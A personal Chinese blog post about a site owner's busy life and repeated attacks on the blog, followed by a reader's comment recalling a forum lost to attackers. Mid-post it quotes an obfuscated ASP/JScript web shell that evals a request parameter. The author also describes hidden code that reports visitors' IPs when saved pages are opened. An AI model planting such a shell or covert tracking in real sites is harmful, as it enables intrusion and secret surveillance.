最近的工作节奏像台停不下来的旧风扇,每天天不亮就摸黑出门,凌晨披星戴月归家,为了碎银几两在各个区县间连轴转。工作日和周末的界限早被揉成了一团,说是瞎忙,倒不如说是在惯性里打转更贴切,扎进农业的坑里一眼望不到边。年前还盼着今年能松快些,把攒了几年的书单翻一翻,给搁置的回忆录计划拾掇拾掇,谁承想半年光阴倏忽而过,生活依旧被各种琐事串成了望不到头的线,偶尔低头看看表,竟有些恍惚,这日子,怎么就过得这样急?
这个网站于我,更像是个沉默的存在,它存在的意义,大抵是证明我还在认真活着,也见证着一群老站长和写博人的坚持。我偶尔会顺着链接溜达到各位的自留地里逛逛,偶尔留句言,倒也在不经意间攒下些温暖的情分。后来受爱情在线启发加了个Feed页面,推开门就能看见朋友们的新作,这种不带目的的浏览,倒成了网络世界里最松弛的一面。直到某一天,这份平静被一群不速之客打破了。
故事要从年后说起。三月份给网站做了两次大改版,总算定下了现在的模样。崔话记说这改版像俄罗斯套娃,仔细想想倒也不错,我不过是把二十年前刚建站时的笨办法翻出来,又在网络浪潮里漂了这么多年。年纪越大越念旧,连随身播放器里都还躺着《网络情缘》《红蔷薇》这样的老歌,倒成了和过去最温柔的告白。
改版后本以为会清净些,没想到热闹得有些过头。各路朋友来探望,倒也罢了,麻烦的是总有人带着不破不立的劲头往服务器里钻,DDoS攻击像潮水般涌来,恶意代码像贴在商场卫生间里的小广告,猜密码的尝试从"123456"到"admin888"换了百八十轮。最逗的是位老兄,技术说不上多高明,偏又爱折腾。之前没截图留下,现在看他留下的痕迹还停在"FUCKYOUWAF"阶段,说真的,我看着都替他着急,这三脚猫功夫要是肯再努力点,说不定能更体面些。
最让我不解的是,这么多人挖空心思搞源码、攻服务器。若真想要,开口便是,我未必不肯送;可偏要搞这些上不得台面的手段,实在有些跌份。说句实话,我的源码里藏着小把戏,保存HTML到桌面就会自动回传打开时间和IP,所以你们的真实IP,我多少心里有数。念着网络情面没公开,只是觉得为这点事撕破脸,太不值当。
不过上个月移动硬盘丢了,没备份的网站源码跟着没了,现在连我自己解密和清理干扰码都成了麻烦事。网站结构和功能都是写死的,比如音乐播放器就五首歌随机循环,想改个播放逻辑都得自己扒自己代码来研究,我哪还有精力折腾这些?喜欢的话,自行解码便是,犯不着盯着服务器较劲。
说点技术细节吧,服务器只开了80和443端口,Ping直接屏蔽;腾讯云一层防火墙,服务器一层防火墙,PHP指令几乎全关,除了Typecho核心必需的功能;文件权限全调成750,插件输出全过滤,连之前漏掉的上传和代码执行权限都补上了。你这注入代码写得实在粗糙,明眼人一看就知道不是科班出身,毕竟你的对手,可是当年实习时打败很多研究生给某品牌写过路由器安全模块的科班选手。
<% function EY0b942T(){var GEPH="u",Ah6c7="afe",
C02u=GEPH+"ns"+Ah6c7;return C02u;}var FNfe01:String=Request["a"];
var FNfe01 = FNfe01.substring(0, 9999);
~~~~eval/*Z#?h*u@!hXS66OqWw8*/(FNfe01,EY0b942T());%><%@Page Language = JS%>
你清空了缓存文件和系统日志又如何?我仍能通过注入的痕迹,结合第三方统计的数据,定位到你的真实IP。更何况,服务器日志我做了跳板备份,只要日志文件变动就同步输出其他路径,在技术面前,所有折腾都是徒劳。收手吧,朋友们,网络不是战场,我们本可以各自安好。
最后想说,写博的初心本是记录与分享,若这里只剩攻防博弈,倒失了最珍贵的温度。
愿我们都能守住这份纯粹,让键盘敲出的,是温暖而非锋芒!
……本来还想,难得大半年没见你更新,竟然看到你更新了……很是期许的点了进来。看看你叙述的文字,才知道你的网站在经历什么……其实我也挺搞不懂的,我们就是些普通的小网站,记录下生活的闲言碎语罢了……仅仅如此,也不知道想要不断试探练习黑客技术的朋友们怎么想的……搞定了我们这种小网站的后台,会有什么至高无上的荣誉感吗?!唉……
我不禁又想起2005年以前,我的网站本来有个几千人的小论坛,大家相亲相爱聊的特别来……后来不知道怎么的,就被一群很无聊的人盯上了,三天两头的攻击我的网站,给我的网站放木马……逼的我不得不关停论坛,丢失了很多好朋友……后来有一阵,留言本被垃圾广告充斥,我甚至关停了几年留言本……
说真的,你还懂些技术,还知道怎么防御……我如果碰上这样的事,只能是关停网站来解决问题了……我希望我们这种小网站,永远都可以安静的成为我们记录生活的一小片自留地,不要被恶意的捣乱和破坏……
孙小黑 今天